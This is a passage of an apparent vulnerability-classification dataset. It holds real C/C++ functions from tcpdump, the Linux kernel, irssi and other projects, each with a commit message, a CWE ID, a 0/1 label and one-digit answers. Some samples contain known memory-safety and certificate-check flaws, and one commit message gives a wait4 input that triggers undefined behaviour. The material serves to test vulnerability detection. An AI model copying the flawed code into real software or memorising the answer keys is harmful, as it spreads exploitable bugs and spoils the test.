ND_TCHECK2(*tptr, 2 * SYSTEM_ID_LEN + 1);
ND_PRINT((ndo, "\n\t Received from System-ID: %s",
isis_print_id(tptr + SYSTEM_ID_LEN + 1, SYSTEM_ID_LEN)));
}
break;
case ISIS_TLV_MT_SUPPORTED:
if (tmp < ISIS_TLV_MT_SUPPORTED_MINLEN)
break;
while (tmp>1) {
/* length can only be a multiple of 2, otherwise there is
something broken -> so decode down until length is 1 */
if (tmp!=1) {
mt_len = isis_print_mtid(ndo, tptr, "\n\t ");
if (mt_len == 0) /* did something go wrong ? */
goto trunctlv;
tptr+=mt_len;
tmp-=mt_len;
} else {
ND_PRINT((ndo, "\n\t invalid MT-ID"));
break;
}
}
break;
case ISIS_TLV_RESTART_SIGNALING:
/* first attempt to decode the flags */
if (tmp < ISIS_TLV_RESTART_SIGNALING_FLAGLEN)
break;
ND_TCHECK2(*tptr, ISIS_TLV_RESTART_SIGNALING_FLAGLEN);
ND_PRINT((ndo, "\n\t Flags [%s]",
bittok2str(isis_restart_flag_values, "none", *tptr)));
tptr+=ISIS_TLV_RESTART_SIGNALING_FLAGLEN;
tmp-=ISIS_TLV_RESTART_SIGNALING_FLAGLEN;
/* is there anything other than the flags field? */
if (tmp == 0)
break;
if (tmp < ISIS_TLV_RESTART_SIGNALING_HOLDTIMELEN)
break;
ND_TCHECK2(*tptr, ISIS_TLV_RESTART_SIGNALING_HOLDTIMELEN);
ND_PRINT((ndo, ", Remaining holding time %us", EXTRACT_16BITS(tptr)));
tptr+=ISIS_TLV_RESTART_SIGNALING_HOLDTIMELEN;
tmp-=ISIS_TLV_RESTART_SIGNALING_HOLDTIMELEN;
/* is there an additional sysid field present ?*/
if (tmp == SYSTEM_ID_LEN) {
ND_TCHECK2(*tptr, SYSTEM_ID_LEN);
ND_PRINT((ndo, ", for %s", isis_print_id(tptr,SYSTEM_ID_LEN)));
}
break;
case ISIS_TLV_IDRP_INFO:
if (tmp < ISIS_TLV_IDRP_INFO_MINLEN)
break;
ND_TCHECK2(*tptr, ISIS_TLV_IDRP_INFO_MINLEN);
ND_PRINT((ndo, "\n\t Inter-Domain Information Type: %s",
tok2str(isis_subtlv_idrp_values,
"Unknown (0x%02x)",
*tptr)));
switch (*tptr++) {
case ISIS_SUBTLV_IDRP_ASN:
ND_TCHECK2(*tptr, 2); /* fetch AS number */
ND_PRINT((ndo, "AS Number: %u", EXTRACT_16BITS(tptr)));
break;
case ISIS_SUBTLV_IDRP_LOCAL:
case ISIS_SUBTLV_IDRP_RES:
default:
if (!print_unknown_data(ndo, tptr, "\n\t ", tlv_len - 1))
return(0);
break;
}
break;
case ISIS_TLV_LSP_BUFFERSIZE:
if (tmp < ISIS_TLV_LSP_BUFFERSIZE_MINLEN)
break;
ND_TCHECK2(*tptr, ISIS_TLV_LSP_BUFFERSIZE_MINLEN);
ND_PRINT((ndo, "\n\t LSP Buffersize: %u", EXTRACT_16BITS(tptr)));
break;
case ISIS_TLV_PART_DIS:
while (tmp >= SYSTEM_ID_LEN) {
ND_TCHECK2(*tptr, SYSTEM_ID_LEN);
ND_PRINT((ndo, "\n\t %s", isis_print_id(tptr, SYSTEM_ID_LEN)));
tptr+=SYSTEM_ID_LEN;
tmp-=SYSTEM_ID_LEN;
}
break;
case ISIS_TLV_PREFIX_NEIGH:
if (tmp < sizeof(struct isis_metric_block))
break;
ND_TCHECK2(*tptr, sizeof(struct isis_metric_block));
ND_PRINT((ndo, "\n\t Metric Block"));
isis_print_metric_block(ndo, (const struct isis_metric_block *)tptr);
tptr+=sizeof(struct isis_metric_block);
tmp-=sizeof(struct isis_metric_block);
while(tmp>0) {
ND_TCHECK2(*tptr, 1);
prefix_len=*tptr++; /* read out prefix length in semioctets*/
if (prefix_len < 2) {
ND_PRINT((ndo, "\n\t\tAddress: prefix length %u < 2", prefix_len));
break;
}
tmp--;
if (tmp < prefix_len/2)
break;
ND_TCHECK2(*tptr, prefix_len / 2);
ND_PRINT((ndo, "\n\t\tAddress: %s/%u",
isonsap_string(ndo, tptr, prefix_len / 2), prefix_len * 4));
tptr+=prefix_len/2;
tmp-=prefix_len/2;
}
break;
case ISIS_TLV_IIH_SEQNR:
if (tmp < ISIS_TLV_IIH_SEQNR_MINLEN)
break;
ND_TCHECK2(*tptr, ISIS_TLV_IIH_SEQNR_MINLEN); /* check if four bytes are on the wire */
ND_PRINT((ndo, "\n\t Sequence number: %u", EXTRACT_32BITS(tptr)));
break;
case ISIS_TLV_VENDOR_PRIVATE:
if (tmp < ISIS_TLV_VENDOR_PRIVATE_MINLEN)
break;
ND_TCHECK2(*tptr, ISIS_TLV_VENDOR_PRIVATE_MINLEN); /* check if enough byte for a full oui */
vendor_id = EXTRACT_24BITS(tptr);
ND_PRINT((ndo, "\n\t Vendor: %s (%u)",
tok2str(oui_values, "Unknown", vendor_id),
vendor_id));
tptr+=3;
tmp-=3;
if (tmp > 0) /* hexdump the rest */
if (!print_unknown_data(ndo, tptr, "\n\t\t", tmp))
return(0);
break;
/*
* FIXME those are the defined TLVs that lack a decoder
* you are welcome to contribute code ;-)
*/
case ISIS_TLV_DECNET_PHASE4:
case ISIS_TLV_LUCENT_PRIVATE:
case ISIS_TLV_IPAUTH:
case ISIS_TLV_NORTEL_PRIVATE1:
case ISIS_TLV_NORTEL_PRIVATE2:
default:
if (ndo->ndo_vflag <= 1) {
if (!print_unknown_data(ndo, pptr, "\n\t\t", tlv_len))
return(0);
}
break;
}
/* do we want to see an additionally hexdump ? */
if (ndo->ndo_vflag> 1) {
if (!print_unknown_data(ndo, pptr, "\n\t ", tlv_len))
return(0);
}
pptr += tlv_len;
packet_len -= tlv_len;
}
if (packet_len != 0) {
ND_PRINT((ndo, "\n\t %u straggler bytes", packet_len));
}
return (1);
trunc:
ND_PRINT((ndo, "%s", tstr));
return (1);
trunctlv:
ND_PRINT((ndo, "\n\t\t"));
ND_PRINT((ndo, "%s", tstr));
return(1);
}
Commit Message: CVE-2017-13055/IS-IS: fix an Extended IS Reachability sub-TLV
In isis_print_is_reach_subtlv() one of the case blocks did not check that
the sub-TLV "V" is actually present and could over-read the input buffer.
Add a length check to fix that and remove a useless boundary check from
a loop because the boundary is tested for the full length of "V" before
the switch block.
Update one of the prior test cases as it turns out it depended on this
previously incorrect code path to make it to its own malformed structure
further down the buffer, the bugfix has changed its output.
This fixes a buffer over-read discovered by Bhargava Shastry,
SecT/TU Berlin.
Add a test using the capture file supplied by the reporter(s).
CWE ID: CWE-125
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: long kernel_wait4(pid_t upid, int __user *stat_addr, int options,
struct rusage *ru)
{
struct wait_opts wo;
struct pid *pid = NULL;
enum pid_type type;
long ret;
if (options & ~(WNOHANG|WUNTRACED|WCONTINUED|
__WNOTHREAD|__WCLONE|__WALL))
return -EINVAL;
if (upid == -1)
type = PIDTYPE_MAX;
else if (upid < 0) {
type = PIDTYPE_PGID;
pid = find_get_pid(-upid);
} else if (upid == 0) {
type = PIDTYPE_PGID;
pid = get_task_pid(current, PIDTYPE_PGID);
} else /* upid > 0 */ {
type = PIDTYPE_PID;
pid = find_get_pid(upid);
}
wo.wo_type = type;
wo.wo_pid = pid;
wo.wo_flags = options | WEXITED;
wo.wo_info = NULL;
wo.wo_stat = 0;
wo.wo_rusage = ru;
ret = do_wait(&wo);
put_pid(pid);
if (ret > 0 && stat_addr && put_user(wo.wo_stat, stat_addr))
ret = -EFAULT;
return ret;
}
Commit Message: kernel/exit.c: avoid undefined behaviour when calling wait4()
wait4(-2147483648, 0x20, 0, 0xdd0000) triggers:
UBSAN: Undefined behaviour in kernel/exit.c:1651:9
The related calltrace is as follows:
negation of -2147483648 cannot be represented in type 'int':
CPU: 9 PID: 16482 Comm: zj Tainted: G B ---- ------- 3.10.0-327.53.58.71.x86_64+ #66
Hardware name: Huawei Technologies Co., Ltd. Tecal RH2285 /BC11BTSA , BIOS CTSAV036 04/27/2011
Call Trace:
dump_stack+0x19/0x1b
ubsan_epilogue+0xd/0x50
__ubsan_handle_negate_overflow+0x109/0x14e
SyS_wait4+0x1cb/0x1e0
system_call_fastpath+0x16/0x1b
Exclude the overflow to avoid the UBSAN warning.
Link: http://lkml.kernel.org/r/[email protected]
Signed-off-by: zhongjiang <[email protected]>
Cc: Oleg Nesterov <[email protected]>
Cc: David Rientjes <[email protected]>
Cc: Aneesh Kumar K.V <[email protected]>
Cc: Kirill A. Shutemov <[email protected]>
Cc: Xishi Qiu <[email protected]>
Signed-off-by: Andrew Morton <[email protected]>
Signed-off-by: Linus Torvalds <[email protected]>
CWE ID: CWE-20
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static GIOChannel *irssi_ssl_get_iochannel(GIOChannel *handle, const char *mycert, const char *mypkey, const char *cafile, const char *capath, gboolean verify)
{
GIOSSLChannel *chan;
GIOChannel *gchan;
int fd;
SSL *ssl;
SSL_CTX *ctx = NULL;
g_return_val_if_fail(handle != NULL, NULL);
if(!ssl_ctx && !irssi_ssl_init())
return NULL;
if(!(fd = g_io_channel_unix_get_fd(handle)))
return NULL;
if (mycert && *mycert) {
char *scert = NULL, *spkey = NULL;
if ((ctx = SSL_CTX_new(SSLv23_client_method())) == NULL) {
g_error("Could not allocate memory for SSL context");
return NULL;
}
scert = convert_home(mycert);
if (mypkey && *mypkey)
spkey = convert_home(mypkey);
if (! SSL_CTX_use_certificate_file(ctx, scert, SSL_FILETYPE_PEM))
g_warning("Loading of client certificate '%s' failed", mycert);
else if (! SSL_CTX_use_PrivateKey_file(ctx, spkey ? spkey : scert, SSL_FILETYPE_PEM))
g_warning("Loading of private key '%s' failed", mypkey ? mypkey : mycert);
else if (! SSL_CTX_check_private_key(ctx))
g_warning("Private key does not match the certificate");
g_free(scert);
g_free(spkey);
}
if ((cafile && *cafile) || (capath && *capath)) {
char *scafile = NULL;
char *scapath = NULL;
if (! ctx && (ctx = SSL_CTX_new(SSLv23_client_method())) == NULL) {
g_error("Could not allocate memory for SSL context");
return NULL;
}
if (cafile && *cafile)
scafile = convert_home(cafile);
if (capath && *capath)
scapath = convert_home(capath);
if (! SSL_CTX_load_verify_locations(ctx, scafile, scapath)) {
g_warning("Could not load CA list for verifying SSL server certificate");
g_free(scafile);
g_free(scapath);
SSL_CTX_free(ctx);
return NULL;
}
g_free(scafile);
g_free(scapath);
verify = TRUE;
}
if (ctx == NULL)
ctx = ssl_ctx;
if(!(ssl = SSL_new(ctx)))
{
g_warning("Failed to allocate SSL structure");
return NULL;
}
if(!SSL_set_fd(ssl, fd))
{
g_warning("Failed to associate socket to SSL stream");
SSL_free(ssl);
if (ctx != ssl_ctx)
SSL_CTX_free(ctx);
return NULL;
}
SSL_set_mode(ssl, SSL_MODE_ENABLE_PARTIAL_WRITE |
SSL_MODE_ACCEPT_MOVING_WRITE_BUFFER);
chan = g_new0(GIOSSLChannel, 1);
chan->fd = fd;
chan->giochan = handle;
chan->ssl = ssl;
chan->ctx = ctx;
chan->verify = verify;
gchan = (GIOChannel *)chan;
gchan->funcs = &irssi_ssl_channel_funcs;
g_io_channel_init(gchan);
gchan->is_readable = gchan->is_writeable = TRUE;
gchan->use_buffer = FALSE;
return gchan;
}
Commit Message: Check if an SSL certificate matches the hostname of the server we are connecting to
git-svn-id: http://svn.irssi.org/repos/irssi/trunk@5104 dbcabf3a-b0e7-0310-adc4-f8d773084564
CWE ID: CWE-20
Target: 1
Example 2:
Code: static int queue_pages_hugetlb(pte_t *pte, unsigned long hmask,
unsigned long addr, unsigned long end,
struct mm_walk *walk)
{
#ifdef CONFIG_HUGETLB_PAGE
struct queue_pages *qp = walk->private;
unsigned long flags = qp->flags;
int nid;
struct page *page;
spinlock_t *ptl;
pte_t entry;
ptl = huge_pte_lock(hstate_vma(walk->vma), walk->mm, pte);
entry = huge_ptep_get(pte);
if (!pte_present(entry))
goto unlock;
page = pte_page(entry);
nid = page_to_nid(page);
if (node_isset(nid, *qp->nmask) == !!(flags & MPOL_MF_INVERT))
goto unlock;
/* With MPOL_MF_MOVE, we migrate only unshared hugepage. */
if (flags & (MPOL_MF_MOVE_ALL) ||
(flags & MPOL_MF_MOVE && page_mapcount(page) == 1))
isolate_huge_page(page, qp->pagelist);
unlock:
spin_unlock(ptl);
#else
BUG();
#endif
return 0;
}
Commit Message: mm/mempolicy.c: fix error handling in set_mempolicy and mbind.
In the case that compat_get_bitmap fails we do not want to copy the
bitmap to the user as it will contain uninitialized stack data and leak
sensitive data.
Signed-off-by: Chris Salls <[email protected]>
Signed-off-by: Linus Torvalds <[email protected]>
CWE ID: CWE-388
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static int iw_process_rows_intermediate_to_final(struct iw_context *ctx, int intermed_channel,
const struct iw_csdescr *out_csdescr)
{
int i,j;
int z;
int k;
int retval=0;
iw_tmpsample tmpsamp;
iw_tmpsample alphasamp = 0.0;
iw_tmpsample *inpix_tofree = NULL; // Used if we need a separate temp buffer for input samples
iw_tmpsample *outpix_tofree = NULL; // Used if we need a separate temp buffer for output samples
int using_errdiffdither = 0;
int output_channel;
int is_alpha_channel;
int bkgd_has_transparency;
double tmpbkgdalpha=0.0;
int alt_bkgd = 0; // Nonzero if we should use bkgd2 for this sample
struct iw_resize_settings *rs = NULL;
int ditherfamily, dithersubtype;
struct iw_channelinfo_intermed *int_ci;
struct iw_channelinfo_out *out_ci;
iw_tmpsample *in_pix = NULL;
iw_tmpsample *out_pix = NULL;
int num_in_pix;
int num_out_pix;
num_in_pix = ctx->intermed_canvas_width;
num_out_pix = ctx->img2.width;
int_ci = &ctx->intermed_ci[intermed_channel];
output_channel = int_ci->corresponding_output_channel;
out_ci = &ctx->img2_ci[output_channel];
is_alpha_channel = (int_ci->channeltype==IW_CHANNELTYPE_ALPHA);
bkgd_has_transparency = iw_bkgd_has_transparency(ctx);
inpix_tofree = (iw_tmpsample*)iw_malloc(ctx, num_in_pix * sizeof(iw_tmpsample));
in_pix = inpix_tofree;
outpix_tofree = (iw_tmpsample*)iw_malloc(ctx, num_out_pix * sizeof(iw_tmpsample));
if(!outpix_tofree) goto done;
out_pix = outpix_tofree;
if(ctx->nearest_color_table && !is_alpha_channel &&
out_ci->ditherfamily==IW_DITHERFAMILY_NONE &&
out_ci->color_count==0)
{
out_ci->use_nearest_color_table = 1;
}
else {
out_ci->use_nearest_color_table = 0;
}
ditherfamily = out_ci->ditherfamily;
dithersubtype = out_ci->dithersubtype;
if(ditherfamily==IW_DITHERFAMILY_RANDOM) {
if(dithersubtype==IW_DITHERSUBTYPE_SAMEPATTERN && out_ci->channeltype!=IW_CHANNELTYPE_ALPHA)
{
iwpvt_prng_set_random_seed(ctx->prng,ctx->random_seed);
}
else {
iwpvt_prng_set_random_seed(ctx->prng,ctx->random_seed+out_ci->channeltype);
}
}
if(output_channel>=0 && out_ci->ditherfamily==IW_DITHERFAMILY_ERRDIFF) {
using_errdiffdither = 1;
for(i=0;i<ctx->img2.width;i++) {
for(k=0;k<IW_DITHER_MAXROWS;k++) {
ctx->dither_errors[k][i] = 0.0;
}
}
}
rs=&ctx->resize_settings[IW_DIMENSION_H];
if(!rs->rrctx) {
rs->rrctx = iwpvt_resize_rows_init(ctx,rs,int_ci->channeltype,
num_in_pix, num_out_pix);
if(!rs->rrctx) goto done;
}
for(j=0;j<ctx->intermed_canvas_height;j++) {
if(is_alpha_channel) {
for(i=0;i<num_in_pix;i++) {
inpix_tofree[i] = ctx->intermediate_alpha32[((size_t)j)*ctx->intermed_canvas_width+i];
}
}
else {
for(i=0;i<num_in_pix;i++) {
inpix_tofree[i] = ctx->intermediate32[((size_t)j)*ctx->intermed_canvas_width+i];
}
}
iwpvt_resize_row_main(rs->rrctx,in_pix,out_pix);
if(ctx->intclamp)
clamp_output_samples(ctx,out_pix,num_out_pix);
if(is_alpha_channel && outpix_tofree && ctx->final_alpha32) {
for(i=0;i<num_out_pix;i++) {
ctx->final_alpha32[((size_t)j)*ctx->img2.width+i] = (iw_float32)outpix_tofree[i];
}
}
if(output_channel == -1) {
goto here;
}
for(z=0;z<ctx->img2.width;z++) {
if(using_errdiffdither && (j%2))
i=ctx->img2.width-1-z;
else
i=z;
tmpsamp = out_pix[i];
if(ctx->bkgd_checkerboard) {
alt_bkgd = (((ctx->bkgd_check_origin[IW_DIMENSION_H]+i)/ctx->bkgd_check_size)%2) !=
(((ctx->bkgd_check_origin[IW_DIMENSION_V]+j)/ctx->bkgd_check_size)%2);
}
if(bkgd_has_transparency) {
tmpbkgdalpha = alt_bkgd ? ctx->bkgd2alpha : ctx->bkgd1alpha;
}
if(int_ci->need_unassoc_alpha_processing) {
alphasamp = ctx->final_alpha32[((size_t)j)*ctx->img2.width + i];
if(alphasamp!=0.0) {
tmpsamp /= alphasamp;
}
if(ctx->apply_bkgd && ctx->apply_bkgd_strategy==IW_BKGD_STRATEGY_LATE) {
double bkcolor;
bkcolor = alt_bkgd ? out_ci->bkgd2_color_lin : out_ci->bkgd1_color_lin;
if(bkgd_has_transparency) {
tmpsamp = tmpsamp*alphasamp + bkcolor*tmpbkgdalpha*(1.0-alphasamp);
}
else {
tmpsamp = tmpsamp*alphasamp + bkcolor*(1.0-alphasamp);
}
}
}
else if(is_alpha_channel && bkgd_has_transparency) {
tmpsamp = tmpsamp + tmpbkgdalpha*(1.0-tmpsamp);
}
if(ctx->img2.sampletype==IW_SAMPLETYPE_FLOATINGPOINT)
put_sample_convert_from_linear_flt(ctx,tmpsamp,i,j,output_channel,out_csdescr);
else
put_sample_convert_from_linear(ctx,tmpsamp,i,j,output_channel,out_csdescr);
}
if(using_errdiffdither) {
for(i=0;i<ctx->img2.width;i++) {
for(k=0;k<IW_DITHER_MAXROWS-1;k++) {
ctx->dither_errors[k][i] = ctx->dither_errors[k+1][i];
}
ctx->dither_errors[IW_DITHER_MAXROWS-1][i] = 0.0;
}
}
here:
;
}
retval=1;
done:
if(rs && rs->disable_rrctx_cache && rs->rrctx) {
iwpvt_resize_rows_done(rs->rrctx);
rs->rrctx = NULL;
}
if(inpix_tofree) iw_free(ctx,inpix_tofree);
if(outpix_tofree) iw_free(ctx,outpix_tofree);
return retval;
}
Commit Message: Fixed a bug that could cause invalid memory to be accessed
The bug could happen when transparency is removed from an image.
Also fixed a semi-related BMP error handling logic bug.
Fixes issue #21
CWE ID: CWE-787
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: long Cluster::GetNext(
const BlockEntry* pCurr,
const BlockEntry*& pNext) const
{
assert(pCurr);
assert(m_entries);
assert(m_entries_count > 0);
size_t idx = pCurr->GetIndex();
assert(idx < size_t(m_entries_count));
assert(m_entries[idx] == pCurr);
++idx;
if (idx >= size_t(m_entries_count))
{
long long pos;
long len;
const long status = Parse(pos, len);
if (status < 0) //error
{
pNext = NULL;
return status;
}
if (status > 0)
{
pNext = NULL;
return 0;
}
assert(m_entries);
assert(m_entries_count > 0);
assert(idx < size_t(m_entries_count));
}
pNext = m_entries[idx];
assert(pNext);
return 0;
}
Commit Message: libwebm: Pull from upstream
Rolling mkvparser from upstream. Primarily for fixing a bug on parsing
failures with certain Opus WebM files.
Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae
The diff is so huge because there were some style clean ups upstream.
But it was ensured that there were no breaking changes when the style
clean ups was done upstream.
Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039
CWE ID: CWE-119
Target: 1
Example 2:
Code: mem_cgroup_uncharge_swapcache(struct page *page, swp_entry_t ent, bool swapout)
{
struct mem_cgroup *memcg;
int ctype = MEM_CGROUP_CHARGE_TYPE_SWAPOUT;
if (!swapout) /* this was a swap cache but the swap is unused ! */
ctype = MEM_CGROUP_CHARGE_TYPE_DROP;
memcg = __mem_cgroup_uncharge_common(page, ctype);
/*
* record memcg information, if swapout && memcg != NULL,
* mem_cgroup_get() was called in uncharge().
*/
if (do_swap_account && swapout && memcg)
swap_cgroup_record(ent, css_id(&memcg->css));
}
Commit Message: mm: thp: fix pmd_bad() triggering in code paths holding mmap_sem read mode
commit 1a5a9906d4e8d1976b701f889d8f35d54b928f25 upstream.
In some cases it may happen that pmd_none_or_clear_bad() is called with
the mmap_sem hold in read mode. In those cases the huge page faults can
allocate hugepmds under pmd_none_or_clear_bad() and that can trigger a
false positive from pmd_bad() that will not like to see a pmd
materializing as trans huge.
It's not khugepaged causing the problem, khugepaged holds the mmap_sem
in write mode (and all those sites must hold the mmap_sem in read mode
to prevent pagetables to go away from under them, during code review it
seems vm86 mode on 32bit kernels requires that too unless it's
restricted to 1 thread per process or UP builds). The race is only with
the huge pagefaults that can convert a pmd_none() into a
pmd_trans_huge().
Effectively all these pmd_none_or_clear_bad() sites running with
mmap_sem in read mode are somewhat speculative with the page faults, and
the result is always undefined when they run simultaneously. This is
probably why it wasn't common to run into this. For example if the
madvise(MADV_DONTNEED) runs zap_page_range() shortly before the page
fault, the hugepage will not be zapped, if the page fault runs first it
will be zapped.
Altering pmd_bad() not to error out if it finds hugepmds won't be enough
to fix this, because zap_pmd_range would then proceed to call
zap_pte_range (which would be incorrect if the pmd become a
pmd_trans_huge()).
The simplest way to fix this is to read the pmd in the local stack
(regardless of what we read, no need of actual CPU barriers, only
compiler barrier needed), and be sure it is not changing under the code
that computes its value. Even if the real pmd is changing under the
value we hold on the stack, we don't care. If we actually end up in
zap_pte_range it means the pmd was not none already and it was not huge,
and it can't become huge from under us (khugepaged locking explained
above).
All we need is to enforce that there is no way anymore that in a code
path like below, pmd_trans_huge can be false, but pmd_none_or_clear_bad
can run into a hugepmd. The overhead of a barrier() is just a compiler
tweak and should not be measurable (I only added it for THP builds). I
don't exclude different compiler versions may have prevented the race
too by caching the value of *pmd on the stack (that hasn't been
verified, but it wouldn't be impossible considering
pmd_none_or_clear_bad, pmd_bad, pmd_trans_huge, pmd_none are all inlines
and there's no external function called in between pmd_trans_huge and
pmd_none_or_clear_bad).
if (pmd_trans_huge(*pmd)) {
if (next-addr != HPAGE_PMD_SIZE) {
VM_BUG_ON(!rwsem_is_locked(&tlb->mm->mmap_sem));
split_huge_page_pmd(vma->vm_mm, pmd);
} else if (zap_huge_pmd(tlb, vma, pmd, addr))
continue;
/* fall through */
}
if (pmd_none_or_clear_bad(pmd))
Because this race condition could be exercised without special
privileges this was reported in CVE-2012-1179.
The race was identified and fully explained by Ulrich who debugged it.
I'm quoting his accurate explanation below, for reference.
====== start quote =======
mapcount 0 page_mapcount 1
kernel BUG at mm/huge_memory.c:1384!
At some point prior to the panic, a "bad pmd ..." message similar to the
following is logged on the console:
mm/memory.c:145: bad pmd ffff8800376e1f98(80000000314000e7).
The "bad pmd ..." message is logged by pmd_clear_bad() before it clears
the page's PMD table entry.
143 void pmd_clear_bad(pmd_t *pmd)
144 {
-> 145 pmd_ERROR(*pmd);
146 pmd_clear(pmd);
147 }
After the PMD table entry has been cleared, there is an inconsistency
between the actual number of PMD table entries that are mapping the page
and the page's map count (_mapcount field in struct page). When the page
is subsequently reclaimed, __split_huge_page() detects this inconsistency.
1381 if (mapcount != page_mapcount(page))
1382 printk(KERN_ERR "mapcount %d page_mapcount %d\n",
1383 mapcount, page_mapcount(page));
-> 1384 BUG_ON(mapcount != page_mapcount(page));
The root cause of the problem is a race of two threads in a multithreaded
process. Thread B incurs a page fault on a virtual address that has never
been accessed (PMD entry is zero) while Thread A is executing an madvise()
system call on a virtual address within the same 2 MB (huge page) range.
virtual address space
.---------------------.
| |
| |
.-|---------------------|
| | |
| | |<-- B(fault)
| | |
2 MB | |/////////////////////|-.
huge < |/////////////////////| > A(range)
page | |/////////////////////|-'
| | |
| | |
'-|---------------------|
| |
| |
'---------------------'
- Thread A is executing an madvise(..., MADV_DONTNEED) system call
on the virtual address range "A(range)" shown in the picture.
sys_madvise
// Acquire the semaphore in shared mode.
down_read(¤t->mm->mmap_sem)
...
madvise_vma
switch (behavior)
case MADV_DONTNEED:
madvise_dontneed
zap_page_range
unmap_vmas
unmap_page_range
zap_pud_range
zap_pmd_range
//
// Assume that this huge page has never been accessed.
// I.e. content of the PMD entry is zero (not mapped).
//
if (pmd_trans_huge(*pmd)) {
// We don't get here due to the above assumption.
}
//
// Assume that Thread B incurred a page fault and
.---------> // sneaks in here as shown below.
| //
| if (pmd_none_or_clear_bad(pmd))
| {
| if (unlikely(pmd_bad(*pmd)))
| pmd_clear_bad
| {
| pmd_ERROR
| // Log "bad pmd ..." message here.
| pmd_clear
| // Clear the page's PMD entry.
| // Thread B incremented the map count
| // in page_add_new_anon_rmap(), but
| // now the page is no longer mapped
| // by a PMD entry (-> inconsistency).
| }
| }
|
v
- Thread B is handling a page fault on virtual address "B(fault)" shown
in the picture.
...
do_page_fault
__do_page_fault
// Acquire the semaphore in shared mode.
down_read_trylock(&mm->mmap_sem)
...
handle_mm_fault
if (pmd_none(*pmd) && transparent_hugepage_enabled(vma))
// We get here due to the above assumption (PMD entry is zero).
do_huge_pmd_anonymous_page
alloc_hugepage_vma
// Allocate a new transparent huge page here.
...
__do_huge_pmd_anonymous_page
...
spin_lock(&mm->page_table_lock)
...
page_add_new_anon_rmap
// Here we increment the page's map count (starts at -1).
atomic_set(&page->_mapcount, 0)
set_pmd_at
// Here we set the page's PMD entry which will be cleared
// when Thread A calls pmd_clear_bad().
...
spin_unlock(&mm->page_table_lock)
The mmap_sem does not prevent the race because both threads are acquiring
it in shared mode (down_read). Thread B holds the page_table_lock while
the page's map count and PMD table entry are updated. However, Thread A
does not synchronize on that lock.
====== end quote =======
[[email protected]: checkpatch fixes]
Reported-by: Ulrich Obergfell <[email protected]>
Signed-off-by: Andrea Arcangeli <[email protected]>
Acked-by: Johannes Weiner <[email protected]>
Cc: Mel Gorman <[email protected]>
Cc: Hugh Dickins <[email protected]>
Cc: Dave Jones <[email protected]>
Acked-by: Larry Woodman <[email protected]>
Acked-by: Rik van Riel <[email protected]>
Cc: Mark Salter <[email protected]>
Signed-off-by: Andrew Morton <[email protected]>
Signed-off-by: Linus Torvalds <[email protected]>
Signed-off-by: Greg Kroah-Hartman <[email protected]>
CWE ID: CWE-264
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static void on_btn_add_file(GtkButton *button)
{
GtkWidget *dialog = gtk_file_chooser_dialog_new(
"Attach File",
GTK_WINDOW(g_wnd_assistant),
GTK_FILE_CHOOSER_ACTION_OPEN,
_("_Cancel"), GTK_RESPONSE_CANCEL,
_("_Open"), GTK_RESPONSE_ACCEPT,
NULL
);
char *filename = NULL;
if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_ACCEPT)
filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog));
gtk_widget_destroy(dialog);
if (filename)
{
char *basename = strrchr(filename, '/');
if (!basename) /* wtf? (never happens) */
goto free_and_ret;
basename++;
/* TODO: ask for the name to save it as? For now, just use basename */
char *message = NULL;
struct stat statbuf;
if (stat(filename, &statbuf) != 0 || !S_ISREG(statbuf.st_mode))
{
message = xasprintf(_("'%s' is not an ordinary file"), filename);
goto show_msgbox;
}
struct problem_item *item = problem_data_get_item_or_NULL(g_cd, basename);
if (!item || (item->flags & CD_FLAG_ISEDITABLE))
{
struct dump_dir *dd = wizard_open_directory_for_writing(g_dump_dir_name);
if (dd)
{
dd_close(dd);
char *new_name = concat_path_file(g_dump_dir_name, basename);
if (strcmp(filename, new_name) == 0)
{
message = xstrdup(_("You are trying to copy a file onto itself"));
}
else
{
off_t r = copy_file(filename, new_name, 0666);
if (r < 0)
{
message = xasprintf(_("Can't copy '%s': %s"), filename, strerror(errno));
unlink(new_name);
}
if (!message)
{
problem_data_reload_from_dump_dir();
update_gui_state_from_problem_data(/* don't update selected event */ 0);
/* Set flags for the new item */
update_ls_details_checkboxes(g_event_selected);
}
}
free(new_name);
}
}
else
message = xasprintf(_("Item '%s' already exists and is not modifiable"), basename);
if (message)
{
show_msgbox: ;
GtkWidget *dlg = gtk_message_dialog_new(GTK_WINDOW(g_wnd_assistant),
GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT,
GTK_MESSAGE_WARNING,
GTK_BUTTONS_CLOSE,
message);
free(message);
gtk_window_set_transient_for(GTK_WINDOW(dlg), GTK_WINDOW(g_wnd_assistant));
gtk_dialog_run(GTK_DIALOG(dlg));
gtk_widget_destroy(dlg);
}
free_and_ret:
g_free(filename);
}
}
Commit Message: wizard: fix save users changes after reviewing dump dir files
If the user reviewed the dump dir's files during reporting the crash, the
changes was thrown away and original data was passed to the bugzilla bug
report.
report-gtk saves the first text view buffer and then reloads data from the
reported problem directory, which causes that the changes made to those text
views are thrown away.
Function save_text_if_changed(), except of saving text, also reload the files
from dump dir and update gui state from the dump dir. The commit moves the
reloading and updating gui functions away from this function.
Related to rhbz#1270235
Signed-off-by: Matej Habrnal <[email protected]>
CWE ID: CWE-200
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: ScriptValue WebGLRenderingContextBase::getProgramParameter(
ScriptState* script_state,
WebGLProgram* program,
GLenum pname) {
if (!ValidateWebGLProgramOrShader("getProgramParamter", program)) {
